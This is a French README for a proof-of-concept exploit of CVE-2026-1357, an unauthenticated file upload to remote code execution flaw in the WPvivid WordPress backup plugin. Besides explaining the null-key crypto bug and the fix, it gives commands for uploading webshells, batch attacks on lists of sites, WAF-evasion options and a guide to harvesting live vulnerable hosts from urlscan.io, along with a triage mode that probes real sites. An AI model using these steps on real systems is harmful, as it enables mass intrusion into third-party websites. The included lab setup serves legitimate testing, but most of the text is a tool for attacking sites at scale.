
Preuve de concept d'exploitation pour CVE-2026-1357, un téléversement de fichier arbitraire non authentifié dans WPvivid Backup & Migration menant à l'exécution de code à distance. Inclut un script Python autonome, des techniques de contournement WAF et un laboratoire vulnérable dockerisé pour autoriser
PoC pour CVE-2026-1357 (CVSS 9.8 Critique, CWE-434) : un téléversement de fichier arbitraire non authentifié dans le plugin WPvivid Backup & Migration pour WordPress qui conduit à une exécution de code à distance. Corrigé dans la version 0.9.124 (changeset 3448386). Signalé par Lucas Montes via le programme Bug Bounty de Wordfence.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Cette preuve de concept est fournie uniquement pour la recherche en sécurité autorisée, l'éducation et les tests défensifs.
Le gestionnaire non authentifié send_to_site
(includes/customclass/class-wpvivid-send-to-site.php) déchiffre un
blob fourni par l'attaquant et écrit le contenu de $params['data'] dans
wp-content/wpvividbackups/<nom contrôlé par l'attaquant> — sans
authentification, sans nonce et sans assainissement du chemin sur name.
La protection prévue est RSA : le message doit être chiffré avec une clé de
session aléatoire, elle-même chiffrée RSA avec la clé du site. La faille se
trouve dans WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php) :
$key = $rsa->decrypt($key); // retourne FALSE en cas d'échec (mauvais blob de clé)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE est traité comme une clé d'octets nuls
return $rij->decrypt($data);
La méthode Crypt_RSA::decrypt() de phpseclib retourne false lorsque le blob
de clé fourni ne peut pas être déchiffré (par exemple, openssl_private_decrypt()
échoue), et le plugin n'interrompt pas l'exécution. false est ensuite transmis
à Crypt_Rijndael::setKey(), où strlen(false) → 0 → la clé est complétée
avec 16 octets nuls (AES-128, mode CBC, IV nul). Un attaquant peut donc
« chiffrer » la charge utile avec une clé nulle entièrement prévisible — aucune
connaissance de la clé réelle du site n'est requise.
La charge utile est au format JSON :
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 du PHP>"}
name est concaténé dans le chemin sans assainissement
(str_replace('wpvivid','wpvivid_temp', $name) ne réécrit que la
sous-chaîne « wpvivid »), donc ../../ permet de sortir de
wp-content/wpvividbackups/ vers la racine web. Lorsque file_size/md5
correspondent, le fichier temporaire est renommé avec le nom choisi par
l'attaquant → PHP accessible publiquement → RCE.
Le correctif (changeset 3448386) interrompt l'exécution lorsque l'étape RSA échoue :
if ($key === false || empty($key)) {
return false;
}
Cible :
wpvivid_api_token doit exister et ne pas être expirée — créée
lorsqu'un administrateur clique sur Générer sous WPvivid → Réglages →
Migration automatique (courant sur les sites qui utilisent la fonctionnalité de migration)Attaquant :
script.py est entièrement autonome : bibliothèque standard uniquement, aucune
importation locale, aucun fichier externe. CLI positionnelle simple :
# cible unique
python script.py https://target.example.com
# commande personnalisée
python script.py https://target.example.com --command "uname -a"
# mode par lots (une URL par ligne) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# évasion WAF : noms/valeurs de paramètres encodés en pourcentage ou corps multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# auto-suppression du webshell après le test
python script.py https://target.example.com --cleanup
Codes de sortie : 0 vulnérable, 1 sinon.
../lab/ contient une cible vulnérable dockerisée (WordPress 6.8 + source
WPvivid 0.9.123 depuis plugins/) :
cd ../lab
docker compose up -d
# terminez l'installation de WordPress sur http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Source vérifiée et fonctionnelle (testée en conditions réelles, sans compte requis) :
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 pages indexées référençant le slug du plugin ; parcourez-les et collectez
les noms d'hôtes. Chaque URL de résultat commence par le chemin du plugin
(/wp-content/plugins/wpvivid-backuprestore/), l'extraction des hôtes est donc facile.Requêtes testées qui ne produisent PAS de cibles (exclues volontairement) :
dorks Google/Bing (inurl: ne renvoie que les pages wordpress.org du plugin
lui-même ou un mur anti-bot), DuckDuckGo (idem), Shodan http.html: (HTML
tronqué indexé, zéro résultat), Wayback CDX wildcard (vide), PublicWWW
(collecte invité bloquée).
Fournissez les hôtes collectés au triage (intégré dans script.py avec
--triage), qui vérifie pour chaque site :
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (vérification non authentifiée à faible bruit ;
les chaînes de requête ?ver= des assets dans le HTML servent de solution de repli)wpvivid_action=send_to_site&wpvivid_content=AAAA :
réponse JSON (The key is invalid.) = wpvivid_api_token existe ;
vide = pas de jeton / plugin inactif / WAF a bloqué la sondeSeuls les sites qui sont <= 0.9.123 et avec un jeton actif sont écrits
dans in-scope.txt, puis :
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Techniques portées depuis un téléverseur de 2025 à longue durée de vie qui a continué de fonctionner dans la nature (même auteur) :
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, Referer de même origine, UA de navigateurReferer de même origine--threads N) avec des délais d'attente courts par requêtesuccess.txt / failed.txt écrits en mode par lots, seuls les shells vérifiés
sont enregistrés comme succès (comme le fichier success de l'original)--encode / --multipart pour l'évasion sur la forme des requêtes../lab/waf/ ajoute un proxy inverse owasp/modsecurity-crs:apache devant le
WordPress vulnérable (WAF sur :8092, cible brute sur :8093). Comportement
mesuré :
| Étape | Résultat via CRS |
|---|---|
| POST de téléversement (simple) | passe — le blob AES + les en-têtes AJAX ne correspondent à aucune règle CRS |
POST de téléversement (--encode) | passe |
POST de téléversement (--multipart) | passe |
GET du shell ?<p>=id / hostname / ls | passe, la commande s'exécute |
GET du shell ?<p>=id; hostname; uname -a | 403 — règles d'injection de commandes CRS 932xxx |
| GET simple (marqueur PWN-OK) | passe |
Le téléversement chiffré est invisible pour l'inspection de contenu CRS (même
propriété de survie que l'AJAX à apparence légitime du téléverseur de 2025).
La seule surface CRS est le GET de commande de suivi, donc l'outil utilise
désormais --command id par défaut et confirme la RCE via le marqueur PWN-OK
en GET simple même lorsque le GET de commande est filtré par le WAF (signalé
comme vulnerable avec une note). Les WAF sur l'hôte qui signent
wpvivid_action=send_to_site (par exemple, le correctif virtuel Wordfence)
bloquent toujours le téléversement lui-même au niveau du plugin — aucune
astuce sur la forme des requêtes ne contourne ceux-ci.